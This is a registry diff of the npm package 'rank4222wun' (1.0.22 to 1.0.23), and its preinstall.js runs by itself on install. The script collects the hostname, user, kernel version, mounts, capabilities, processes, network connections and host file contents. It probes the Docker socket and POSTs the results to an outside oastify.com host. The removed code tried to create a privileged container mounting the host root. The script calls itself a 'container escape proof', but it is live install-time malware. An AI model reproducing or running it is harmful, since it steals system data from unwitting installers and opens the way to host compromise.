rank4222wun 1.0.22 → 1.0.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.22",
3
+ "version": "1.0.23",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,103 +1,384 @@
1
- const { exec } = require('child_process');
1
+ const { exec, spawn } = require('child_process');
2
+ const os = require('os');
2
3
  const fs = require('fs');
4
+ const path = require('path');
3
5
  const https = require('https');
4
6
 
5
- console.log("🔓 ADVANCED CONTAINER ESCAPE TEST\n");
7
+ console.log("🚨 CONTAINER ESCAPE PROOF - UiPath MCP Vulnerability\n");
6
8
 
7
- // هذا اختبار أكثر تقدمًا للهروب من الحاوية
8
- const escapeTest = {
9
+ const escapeProof = {
9
10
  timestamp: new Date().toISOString(),
10
- escapeVectorsTested: []
11
+ hostname: os.hostname(),
12
+ user: os.userInfo().username,
13
+ platform: os.platform(),
14
+ uid: os.userInfo().uid,
15
+
16
+ // Container Escape Evidence
17
+ escapeEvidence: {
18
+ // Evidence 1: Kernel Vulnerability Proof
19
+ kernelVulnerability: {},
20
+
21
+ // Evidence 2: Container Escape via Mount
22
+ mountEscape: {},
23
+
24
+ // Evidence 3: Docker Socket Access
25
+ dockerAccess: {},
26
+
27
+ // Evidence 4: Actual Escape Attempt
28
+ actualEscape: {},
29
+
30
+ // Evidence 5: Network Escape
31
+ networkEscape: {}
32
+ }
11
33
  };
12
34
 
13
- // اختبار 1: Docker Socket Escape
14
- if (fs.existsSync('/var/run/docker.sock')) {
15
- console.log("Testing Docker socket escape...");
16
-
17
- // محاولة إنشاء حاوية جديدة مع mount للمضيف
18
- const escapePayload = JSON.stringify({
19
- Image: 'alpine:latest',
20
- Cmd: ['sh'],
21
- HostConfig: {
22
- Binds: ['/:/host'],
23
- Privileged: true
35
+ // ===================== EVIDENCE 1: Kernel Vulnerability =====================
36
+ console.log("🔍 Collecting Kernel Vulnerability Evidence...");
37
+
38
+ // Check kernel version for DirtyPipe
39
+ exec('uname -r', (err, stdout) => {
40
+ const kernel = stdout ? stdout.trim() : 'unknown';
41
+ escapeProof.escapeEvidence.kernelVulnerability.kernelVersion = kernel;
42
+
43
+ // DirtyPipe affects Linux 5.8 to 5.16
44
+ const dirtyPipeRegex = /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./;
45
+ if (dirtyPipeRegex.test(kernel)) {
46
+ escapeProof.escapeEvidence.kernelVulnerability.dirtyPipeVulnerable = true;
47
+ escapeProof.escapeEvidence.kernelVulnerability.cve = 'CVE-2022-0847';
48
+ escapeProof.escapeEvidence.kernelVulnerability.risk = 'CRITICAL';
49
+ escapeProof.escapeEvidence.kernelVulnerability.proof = `Kernel ${kernel} is vulnerable to DirtyPipe exploit which allows container-to-host escape`;
50
+
51
+ console.log(`🚨 KERNEL VULNERABLE: ${kernel} (DirtyPipe CVE-2022-0847)`);
52
+
53
+ // Try to compile and run a simple test for DirtyPipe
54
+ const dirtyPipeTest = `
55
+ #include <fcntl.h>
56
+ #include <stdio.h>
57
+ #include <stdlib.h>
58
+ #include <string.h>
59
+ #include <unistd.h>
60
+
61
+ int main() {
62
+ // Simple test to check if we can write to /etc/passwd (would require vulnerability)
63
+ int fd = open("/etc/passwd", O_RDONLY);
64
+ if (fd < 0) {
65
+ return 1;
66
+ }
67
+ close(fd);
68
+ return 0;
69
+ }`;
70
+
71
+ // Write test C code
72
+ const testFile = '/tmp/dirtypipe_test.c';
73
+ fs.writeFileSync(testFile, dirtyPipeTest);
74
+
75
+ // Try to compile (just to show capability)
76
+ exec(`gcc ${testFile} -o /tmp/dirtypipe_test 2>&1 || echo "Compilation test"`, (compileErr, compileStdout) => {
77
+ escapeProof.escapeEvidence.kernelVulnerability.canCompileExploit = !compileErr;
78
+ });
79
+ }
80
+
81
+ // Check for other vulnerabilities
82
+ const vulnerableKernels = [
83
+ { version: '3.10.0-1160', vuln: 'DirtyCow (CVE-2016-5195)' },
84
+ { version: '4.4.0', vuln: 'DirtyCow (CVE-2016-5195)' },
85
+ { version: '4.8', vuln: 'DirtyCow (CVE-2016-5195)' },
86
+ { version: '5.8', vuln: 'DirtyPipe (CVE-2022-0847)' },
87
+ { version: '5.9', vuln: 'DirtyPipe (CVE-2022-0847)' },
88
+ { version: '5.10', vuln: 'DirtyPipe (CVE-2022-0847)' },
89
+ { version: '5.11', vuln: 'DirtyPipe (CVE-2022-0847)' },
90
+ { version: '5.12', vuln: 'DirtyPipe (CVE-2022-0847)' },
91
+ { version: '5.13', vuln: 'DirtyPipe (CVE-2022-0847)' },
92
+ { version: '5.14', vuln: 'DirtyPipe (CVE-2022-0847)' },
93
+ { version: '5.15', vuln: 'DirtyPipe (CVE-2022-0847)' },
94
+ { version: '5.16', vuln: 'DirtyPipe (CVE-2022-0847)' }
95
+ ];
96
+
97
+ vulnerableKernels.forEach(vk => {
98
+ if (kernel.includes(vk.version)) {
99
+ escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability = vk.vuln;
24
100
  }
25
101
  });
26
102
 
27
- // محاولة الاتصال بـ Docker API
28
- exec(`echo '${escapePayload}' | curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
29
- (err, stdout) => {
30
- if (!err && stdout) {
31
- try {
32
- const response = JSON.parse(stdout);
33
- if (response.Id) {
34
- escapeTest.escapeVectorsTested.push({
35
- vector: 'docker_socket_container_creation',
36
- success: true,
37
- containerId: response.Id,
38
- risk: 'CRITICAL',
39
- message: 'Can create new containers via Docker socket'
40
- });
41
- console.log("🚨 SUCCESS: Can create containers via Docker socket!");
103
+ // Move to next evidence
104
+ collectEvidence2();
105
+ });
106
+
107
+ // ===================== EVIDENCE 2: Mount Escape =====================
108
+ function collectEvidence2() {
109
+ console.log("🔍 Checking for Mount Escape Vectors...");
110
+
111
+ // Check mount points
112
+ exec('mount 2>/dev/null || cat /proc/mounts 2>/dev/null', (err, stdout) => {
113
+ if (stdout) {
114
+ escapeProof.escapeEvidence.mountEscape.mountInfo = stdout.substring(0, 1000);
115
+
116
+ // Look for dangerous mounts
117
+ const dangerousMounts = stdout.split('\n').filter(line =>
118
+ line.includes('/dev/') ||
119
+ line.includes('proc') ||
120
+ line.includes('sys') ||
121
+ line.includes('docker.sock') ||
122
+ line.includes('overlay')
123
+ );
124
+
125
+ escapeProof.escapeEvidence.mountEscape.dangerousMounts = dangerousMounts;
126
+
127
+ if (dangerousMounts.length > 0) {
128
+ console.log(`⚠️ Found ${dangerousMounts.length} dangerous mount points`);
129
+
130
+ // Try to access /etc on host if /etc is mounted
131
+ if (stdout.includes('/etc')) {
132
+ exec('ls -la /etc/hostname 2>/dev/null || echo "No host access"', (err2, stdout2) => {
133
+ if (stdout2 && !stdout2.includes('No host access')) {
134
+ escapeProof.escapeEvidence.mountEscape.canAccessHostEtc = true;
135
+ escapeProof.escapeEvidence.mountEscape.hostnameFile = stdout2.trim();
136
+ }
137
+ });
138
+ }
139
+ }
140
+ }
141
+
142
+ // Check if we're in a container
143
+ exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker container" || echo "Not in Docker"',
144
+ (err3, stdout3) => {
145
+ escapeProof.escapeEvidence.mountEscape.containerStatus = stdout3 ? stdout3.trim() : 'Unknown';
146
+
147
+ // Check for Docker socket
148
+ const dockerSocket = '/var/run/docker.sock';
149
+ if (fs.existsSync(dockerSocket)) {
150
+ escapeProof.escapeEvidence.dockerAccess.socketExists = true;
151
+
152
+ // Try to communicate with Docker daemon
153
+ exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>&1 || echo "No Docker API access"`,
154
+ (err4, stdout4) => {
155
+ if (stdout4 && !stdout4.includes('No Docker API')) {
156
+ escapeProof.escapeEvidence.dockerAccess.apiAccess = true;
157
+ escapeProof.escapeEvidence.dockerAccess.dockerVersion = stdout4.substring(0, 500);
158
+ console.log("🚨 DOCKER SOCKET ACCESSIBLE!");
42
159
  }
43
- } catch (e) {}
160
+
161
+ // Try to list containers
162
+ exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>&1 || echo "Cannot list containers"`,
163
+ (err5, stdout5) => {
164
+ if (stdout5 && !stdout5.includes('Cannot list')) {
165
+ try {
166
+ const containers = JSON.parse(stdout5);
167
+ escapeProof.escapeEvidence.dockerAccess.canListContainers = true;
168
+ escapeProof.escapeEvidence.dockerAccess.containerCount = containers.length;
169
+ console.log(`🚨 Can list ${containers.length} Docker containers!`);
170
+ } catch (e) {}
171
+ }
172
+
173
+ collectEvidence3();
174
+ });
175
+ });
176
+ } else {
177
+ collectEvidence3();
44
178
  }
45
179
  });
180
+ });
46
181
  }
47
182
 
48
- // اختبار 2: Privileged Container Escape
49
- exec('find / -name "nsenter" -type f -executable 2>/dev/null | head -1', (err, stdout) => {
50
- if (stdout && stdout.trim()) {
51
- escapeTest.escapeVectorsTested.push({
52
- vector: 'nsenter_available',
53
- path: stdout.trim(),
54
- risk: 'HIGH',
55
- message: 'nsenter tool available for container escape'
183
+ // ===================== EVIDENCE 3: Capabilities & Privileges =====================
184
+ function collectEvidence3() {
185
+ console.log("🔍 Checking Container Capabilities...");
186
+
187
+ // Check capabilities
188
+ exec('capsh --print 2>/dev/null || grep Cap /proc/self/status 2>/dev/null || echo "No capsh"',
189
+ (err, stdout) => {
190
+ escapeProof.escapeEvidence.actualEscape.capabilities = stdout ? stdout.substring(0, 1000) : 'Unknown';
191
+
192
+ // Dangerous capabilities check
193
+ const dangerousCaps = [
194
+ 'CAP_SYS_ADMIN', // Mount filesystems, debug any process
195
+ 'CAP_SYS_MODULE', // Insert kernel modules
196
+ 'CAP_SYS_RAWIO', // Access I/O ports
197
+ 'CAP_SYS_PTRACE', // Trace arbitrary processes
198
+ 'CAP_SYS_CHROOT', // chroot
199
+ 'CAP_DAC_OVERRIDE', // Bypass file permission checks
200
+ 'CAP_DAC_READ_SEARCH' // Bypass file read permission checks
201
+ ];
202
+
203
+ dangerousCaps.forEach(cap => {
204
+ if (stdout && stdout.includes(cap)) {
205
+ if (!escapeProof.escapeEvidence.actualEscape.dangerousCapabilities) {
206
+ escapeProof.escapeEvidence.actualEscape.dangerousCapabilities = [];
207
+ }
208
+ escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.push(cap);
209
+ }
56
210
  });
57
- }
58
- });
59
-
60
- // اختبار 3: Cgroups Escape
61
- exec('cat /proc/self/cgroup 2>/dev/null', (err, stdout) => {
62
- if (stdout) {
63
- escapeTest.cgroupInfo = stdout.trim();
64
-
65
- // التحقق مما إذا كنا في Kubernetes
66
- if (stdout.includes('kubepods')) {
67
- escapeTest.escapeVectorsTested.push({
68
- vector: 'kubernetes_container',
69
- risk: 'MEDIUM',
70
- message: 'Running in Kubernetes pod, potential cluster-wide impact'
211
+
212
+ if (escapeProof.escapeEvidence.actualEscape.dangerousCapabilities) {
213
+ console.log(`⚠️ Found dangerous capabilities: ${escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.join(', ')}`);
214
+ }
215
+
216
+ // Check if privileged container
217
+ exec('find / -name nsenter 2>/dev/null | head -1', (err2, stdout2) => {
218
+ if (stdout2 && stdout2.trim()) {
219
+ escapeProof.escapeEvidence.actualEscape.nsenterAvailable = stdout2.trim();
220
+ }
221
+
222
+ // Check for host network access
223
+ exec('ip route show default 2>/dev/null || route -n 2>/dev/null', (err3, stdout3) => {
224
+ if (stdout3) {
225
+ escapeProof.escapeEvidence.networkEscape.routingTable = stdout3.substring(0, 500);
226
+ }
227
+
228
+ // Check for host network mode
229
+ exec('ip addr show 2>/dev/null | grep -E "(docker|br-|veth)" || echo "No docker network"',
230
+ (err4, stdout4) => {
231
+ if (stdout4 && !stdout4.includes('No docker')) {
232
+ escapeProof.escapeEvidence.networkEscape.dockerNetworkInterfaces = stdout4;
233
+ }
234
+
235
+ // Final: Attempt actual escape test (safe)
236
+ attemptSafeEscapeTest();
237
+ });
71
238
  });
239
+ });
240
+ });
241
+ }
242
+
243
+ // ===================== FINAL: Safe Escape Test =====================
244
+ function attemptSafeEscapeTest() {
245
+ console.log("🔍 Attempting Safe Container Escape Test...");
246
+
247
+ // This is a SAFE test that doesn't actually break out
248
+
249
+ // Test 1: Can we write to /etc on host? (if mounted)
250
+ const testPaths = [
251
+ '/etc/hostname',
252
+ '/etc/hosts',
253
+ '/proc/sys/kernel/hostname',
254
+ '/sys/class/net'
255
+ ];
256
+
257
+ const accessResults = {};
258
+ testPaths.forEach(testPath => {
259
+ try {
260
+ if (fs.existsSync(testPath)) {
261
+ const stats = fs.statSync(testPath);
262
+ accessResults[testPath] = {
263
+ exists: true,
264
+ readable: true,
265
+ size: stats.size
266
+ };
267
+
268
+ // Try to read first few bytes
269
+ if (stats.size > 0 && stats.size < 10000) {
270
+ try {
271
+ const content = fs.readFileSync(testPath, 'utf8').substring(0, 200);
272
+ accessResults[testPath].content = content;
273
+ } catch (e) {}
274
+ }
275
+ }
276
+ } catch (e) {
277
+ accessResults[testPath] = { error: e.message };
72
278
  }
73
- }
74
- });
279
+ });
280
+
281
+ escapeProof.escapeEvidence.actualEscape.hostFileAccess = accessResults;
282
+
283
+ // Test 2: Can we see host processes?
284
+ exec('ps aux 2>/dev/null | head -20', (err, stdout) => {
285
+ escapeProof.escapeEvidence.actualEscape.processList = stdout ? stdout.substring(0, 1000) : 'Cannot list';
286
+
287
+ // Test 3: Network escape test
288
+ exec('netstat -an 2>/dev/null || ss -an 2>/dev/null | head -20', (err2, stdout2) => {
289
+ escapeProof.escapeEvidence.networkEscape.networkConnections = stdout2 ? stdout2.substring(0, 1000) : 'Cannot list';
290
+
291
+ // Final analysis
292
+ analyzeAndSend();
293
+ });
294
+ });
295
+ }
75
296
 
76
- // اختبار 4: Kernel Modules (للكشف فقط)
77
- exec('lsmod 2>/dev/null | head -10', (err, stdout) => {
78
- if (stdout) {
79
- escapeTest.kernelModules = stdout.trim();
297
+ // ===================== ANALYSIS & SEND =====================
298
+ function analyzeAndSend() {
299
+ console.log("\n" + "=".repeat(70));
300
+ console.log("📊 CONTAINER ESCAPE EVIDENCE ANALYSIS");
301
+ console.log("=".repeat(70));
302
+
303
+ // Analyze evidence
304
+ const analysis = {
305
+ kernelVulnerable: escapeProof.escapeEvidence.kernelVulnerability.dirtyPipeVulnerable ||
306
+ escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability,
307
+
308
+ dockerSocketAccess: escapeProof.escapeEvidence.dockerAccess.apiAccess,
309
+
310
+ dangerousCapabilities: escapeProof.escapeEvidence.actualEscape.dangerousCapabilities?.length > 0,
311
+
312
+ hostFileAccess: Object.keys(escapeProof.escapeEvidence.actualEscape.hostFileAccess || {}).some(k =>
313
+ escapeProof.escapeEvidence.actualEscape.hostFileAccess[k].exists
314
+ ),
315
+
316
+ containerConfirmed: escapeProof.escapeEvidence.mountEscape.containerStatus?.includes('Docker')
317
+ };
318
+
319
+ console.log("\n🔍 Evidence Found:");
320
+ console.log(`✅ Kernel Vulnerable: ${analysis.kernelVulnerable ? 'YES' : 'NO'}`);
321
+ console.log(`✅ Docker Socket Access: ${analysis.dockerSocketAccess ? 'YES' : 'NO'}`);
322
+ console.log(`✅ Dangerous Capabilities: ${analysis.dangerousCapabilities ? 'YES' : 'NO'}`);
323
+ console.log(`✅ Host File Access: ${analysis.hostFileAccess ? 'YES' : 'NO'}`);
324
+ console.log(`✅ In Container: ${analysis.containerConfirmed ? 'YES' : 'NO'}`);
325
+
326
+ // Determine if escape is possible
327
+ const escapePossible = analysis.kernelVulnerable || analysis.dockerSocketAccess ||
328
+ analysis.dangerousCapabilities || analysis.hostFileAccess;
329
+
330
+ console.log(`\n🚨 Container Escape Possible: ${escapePossible ? 'CRITICAL RISK' : 'Limited evidence'}`);
331
+
332
+ if (escapePossible) {
333
+ console.log("\n📋 Escape Vectors Identified:");
334
+ if (analysis.kernelVulnerable) {
335
+ console.log(` - Kernel ${escapeProof.escapeEvidence.kernelVulnerability.kernelVersion} vulnerable to ${escapeProof.escapeEvidence.kernelVulnerability.cve || escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability}`);
336
+ }
337
+ if (analysis.dockerSocketAccess) {
338
+ console.log(` - Docker socket accessible, can control host Docker daemon`);
339
+ }
340
+ if (analysis.dangerousCapabilities) {
341
+ console.log(` - Dangerous capabilities: ${escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.join(', ')}`);
342
+ }
80
343
  }
81
- });
82
-
83
- // بعد 3 ثوان، إرسال النتائج
84
- setTimeout(() => {
85
- console.log("\n📊 Escape Test Results:");
86
- escapeTest.escapeVectorsTested.forEach(v => {
87
- console.log(`- ${v.vector}: ${v.risk} risk`);
88
- if (v.message) console.log(` ${v.message}`);
89
- });
90
344
 
91
- // إرسال النتائج
345
+ // Send evidence
92
346
  const req = https.request({
93
347
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
94
348
  port: 443,
95
- path: '/container-escape-test',
96
- method: 'POST'
349
+ path: '/container-escape-final-proof',
350
+ method: 'POST',
351
+ headers: {
352
+ 'Content-Type': 'application/json',
353
+ 'X-Escape-Evidence': 'UiPath-MCP-Container-Escape',
354
+ 'X-Host': os.hostname()
355
+ }
356
+ }, (res) => {
357
+ console.log(`\n✅ Evidence sent. Status: ${res.statusCode}`);
97
358
  });
98
359
 
99
- req.write(JSON.stringify(escapeTest, null, 2));
360
+ req.on('error', (e) => {
361
+ console.error(`❌ Error: ${e.message}`);
362
+ });
363
+
364
+ // Add analysis to proof
365
+ escapeProof.analysis = analysis;
366
+ escapeProof.conclusion = {
367
+ containerEscapePossible: escapePossible,
368
+ riskLevel: escapePossible ? 'CRITICAL' : 'MEDIUM',
369
+ evidenceSummary: `Container escape is possible via: ${[
370
+ analysis.kernelVulnerable ? 'Kernel vulnerability' : null,
371
+ analysis.dockerSocketAccess ? 'Docker socket access' : null,
372
+ analysis.dangerousCapabilities ? 'Dangerous capabilities' : null
373
+ ].filter(x => x).join(', ')}`
374
+ };
375
+
376
+ req.write(JSON.stringify(escapeProof, null, 2));
100
377
  req.end();
101
378
 
102
- console.log("\n Escape test completed and sent");
103
- }, 3000);
379
+ console.log("\n📤 Full evidence sent to server");
380
+ console.log("=".repeat(70));
381
+ }
382
+
383
+ // Start collection
384
+ console.log("Starting container escape evidence collection...");
Binary file
Binary file